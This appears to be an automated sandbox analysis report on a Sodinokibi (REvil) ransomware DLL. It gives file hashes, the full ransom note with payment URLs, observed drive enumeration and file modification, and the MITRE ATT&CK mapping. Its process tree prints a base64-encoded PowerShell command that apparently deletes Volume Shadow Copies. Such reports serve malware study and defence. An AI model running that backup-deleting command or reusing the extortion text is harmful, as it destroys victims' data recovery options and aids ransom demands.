sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
146s
max time network
156s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
21-04-2024 05:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

4903f3effb98da65c49bb9591c16615d
SHA1

d53e85991420c1475385babd72d31ee77faefc6d
SHA256

42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83
SHA512

454b8a5f3528ce77d993b84ccd0df7b8f0843a6a47516b1aa13fe6cbb79d1853646e03c7c9663266df154fd464f594d41be1e392d0c8c3dd676e4348e5149880
SSDEEP

3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/NaDn3Ka9:BrltH05f5v2i7O93Nenaa9

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\1jgxyzbq-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 1jgxyzbq. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FF5CAF2AE6F79174 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/FF5CAF2AE6F79174 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: L5cQ2g1fySfvgQzQwJ2r7oiCL6QarjbisYOzlh94flFGUU8LK4kDYjkDCl3+DWyN ECbzHT6KQZl57qwxoplZQnCCiPKB4cxNRJMuGlAYMVBYBVox9MV2YAkNUfbZyY3y uTtfz3EnQ+VUiQMMQCSj54Ez7dGntzNZ33fTz+1yH88e0sjqWEHuK+YqW9e6n4br keskKdAk4opxrJFl55L5QmYeK4HpyjOlYy8OgjE4TybbD5905d7RtLSF44Zz6dYK UycUOwTF6OEkYnnjv32CaAJBxNM/G23iaiK6b/O7bq97qfsjlLhuJ05MlLPp+Bkk wqIpA9jqrEBvni4Olt4CqaNaIYYEw8mCafcG08Kp/ErKb/iQ71PXPOG2uQm1MJhu ikFX0yBGGrgEy/DY6NGDjMiMIpg23daAYi0yVSP+RrlxbPc6WxrL3I/yJO8aIklv P5OKtSoYPcNxHvx9VkowlDCGKBy/D1c3oBSexhOowGA+fq4CuSgu5aqOMFWSvjCB 0BPzrwA9g1bdfuaU4co2QxAlPyMZTz29HpUWDVALno4aJ9FzMq11k6Ej/G5lHVsV M4j3fbtlEFErvl3XpZquWyLxKHx/CoDBlNYlFfdjwVzQ8ksznBFQIV196Al2CH2H tqszEZbR8NeNjbBOc1kXb6kttDkooazTB03AVTMvAFIRdsmHQ5sNvQWDMQKOR2ME tHXmZSso8HmnM9JpKku5juYOVBCvTDaSx5aNbjuf/BDcS6s2wgc4D4gLxkOSTbc+ HkbLpfpTaZz3MdOhMm8Axq7D3pS82tyZf1/Ztnq9IpUjyRV+zDx3ABsdg8s9xAii 8MEh6HyKLOXljKbacEOxl0aprhju10K6q6EvplfpgH8MhBZ1vDz04GwLm2FWMpzZ fVreXmezcw1C71TnJyQ6I4Qlsjvn51sxPQmB7VY4jdEY41I0kObsuYtEDEQtxOB7 iTD4eNTkYNqB4Ia7XLNjUNg8qMz2O6rrvJBVIASMAqO2eZbM6pZfpCq5uTx620q4 nG9FlOnjL5xZ3MgUpFxR3Ho41QtC5Omc9H3AY9FrP0HR4wKmmguNCVXpvfKQNFUd Q/IZfYGipfLTlBlBxfVZl7tijShCV4FMiuEXdQtAjCyb2JqGIf14LMm+k+fGZWWK x7fOg2l7DPmWzNf6U8r7yJVL8jmWWfkNtv8FkA+N08tDM0iFCllJ4NYD23RnS5XY F3UdRrztmggVYR3FHmzn3FH2jjfm8Q== Extension name: 1jgxyzbq ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FF5CAF2AE6F79174

http://decryptor.top/FF5CAF2AE6F79174

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe

Drops file in Program Files directory 21 IoCs

Processes:

rundll32.exe

description	ioc	Process
File created	\??\c:\program files\1jgxyzbq-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\RevokeReset.mht	rundll32.exe
File opened for modification	\??\c:\program files\SelectTest.vbs	rundll32.exe
File opened for modification	\??\c:\program files\WatchResolve.dwfx	rundll32.exe
File opened for modification	\??\c:\program files\WatchShow.jpg	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromEdit.xsl	rundll32.exe
File opened for modification	\??\c:\program files\DismountSplit.wmv	rundll32.exe
File opened for modification	\??\c:\program files\ImportSwitch.pot	rundll32.exe
File opened for modification	\??\c:\program files\PublishTrace.crw	rundll32.exe
File opened for modification	\??\c:\program files\RestoreUninstall.M2TS	rundll32.exe
File opened for modification	\??\c:\program files\SuspendAdd.jpg	rundll32.exe
File opened for modification	\??\c:\program files\WatchRename.ps1xml	rundll32.exe
File created	\??\c:\program files (x86)\1jgxyzbq-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ClearHide.kix	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmSet.jpe	rundll32.exe
File opened for modification	\??\c:\program files\ExpandDebug.3gpp	rundll32.exe
File opened for modification	\??\c:\program files\OpenDisable.wax	rundll32.exe
File opened for modification	\??\c:\program files\RequestInitialize.m1v	rundll32.exe
File opened for modification	\??\c:\program files\DenyAssert.MTS	rundll32.exe
File opened for modification	\??\c:\program files\RevokeGroup.mp2	rundll32.exe
File opened for modification	\??\c:\program files\UndoSplit.wm	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
3804	rundll32.exe
3804	rundll32.exe
2596	powershell.exe
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeBackupPrivilege	2116	vssvc.exe
Token: SeRestorePrivilege	2116	vssvc.exe
Token: SeAuditPrivilege	2116	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 4800 wrote to memory of 3804	4800	rundll32.exe	81
PID 4800 wrote to memory of 3804	4800	rundll32.exe	81
PID 4800 wrote to memory of 3804	4800	rundll32.exe	81
PID 3804 wrote to memory of 2596	3804	rundll32.exe	83
PID 3804 wrote to memory of 2596	3804	rundll32.exe	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2596

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3628

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\1jgxyzbq-readme.txt

Filesize
6KB

MD5
ce0b864d1a806eed03c08ab68ffca5f0

SHA1
43adbf5e124f6a4dc6b266732158a240d2fb4040

SHA256
fd4d66fa4344e9aaedc6751247440b8eb2fa49d554b54daaf9e27de1baca7f6d

SHA512
5c0097af630b5ff3d832e46cc147194ac4c7494f2fd4ec1746526ba37ef4548864f6c27defba2d0c41e843171bcdb9247e6225e19d1e415dec89511635d864b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vlari4t0.2u2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2596-9-0x00007FFA0D7E0000-0x00007FFA0E2A2000-memory.dmp

Filesize
10.8MB

Download
memory/2596-8-0x00000190F76A0000-0x00000190F76C2000-memory.dmp

Filesize
136KB

Download
memory/2596-10-0x00000190F7660000-0x00000190F7670000-memory.dmp

Filesize
64KB

Download
memory/2596-11-0x00000190F7660000-0x00000190F7670000-memory.dmp

Filesize
64KB

Download
memory/2596-12-0x00000190F7660000-0x00000190F7670000-memory.dmp

Filesize
64KB

Download
memory/2596-15-0x00007FFA0D7E0000-0x00007FFA0E2A2000-memory.dmp

Filesize
10.8MB

Download